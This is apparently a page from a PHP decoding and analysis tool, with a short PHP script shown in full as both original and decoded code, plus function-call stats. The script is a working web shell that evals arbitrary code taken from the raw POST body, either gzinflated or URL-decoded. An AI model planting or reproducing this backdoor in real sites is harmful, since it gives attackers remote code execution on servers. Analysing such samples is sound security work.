Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $rawData = file_get_contents("php://input"); if (substr($rawData, 0, 3) == '000'..

Decoded Output download

<?php 
 
$rawData = file_get_contents("php://input"); 
if (substr($rawData, 0, 3) == '000') { 
 
    $uncompressed = gzinflate(substr($rawData, 3)); 
    @$command = $uncompressed; 
    //echo $command; 
    try { 
        eval($command); 
    } catch (MyException $e) { 
 
    } 
} else { 
    eval(urldecode(str_replace('code=', '', $rawData))); 
} ?>

Did this file decode correctly?

Original Code

<?php

$rawData = file_get_contents("php://input");
if (substr($rawData, 0, 3) == '000') {

    $uncompressed = gzinflate(substr($rawData, 3));
    @$command = $uncompressed;
    //echo $command;
    try {
        eval($command);
    } catch (MyException $e) {

    }
} else {
    eval(urldecode(str_replace('code=', '', $rawData)));
}

Function Calls

substr 1
urldecode 1
str_replace 1
file_get_contents 1

Variables

$rawData

Stats

MD5 f3ebc3b0f35c434f7a42b3e5c7b47eb7
Eval Count 1
Decode Time 386 ms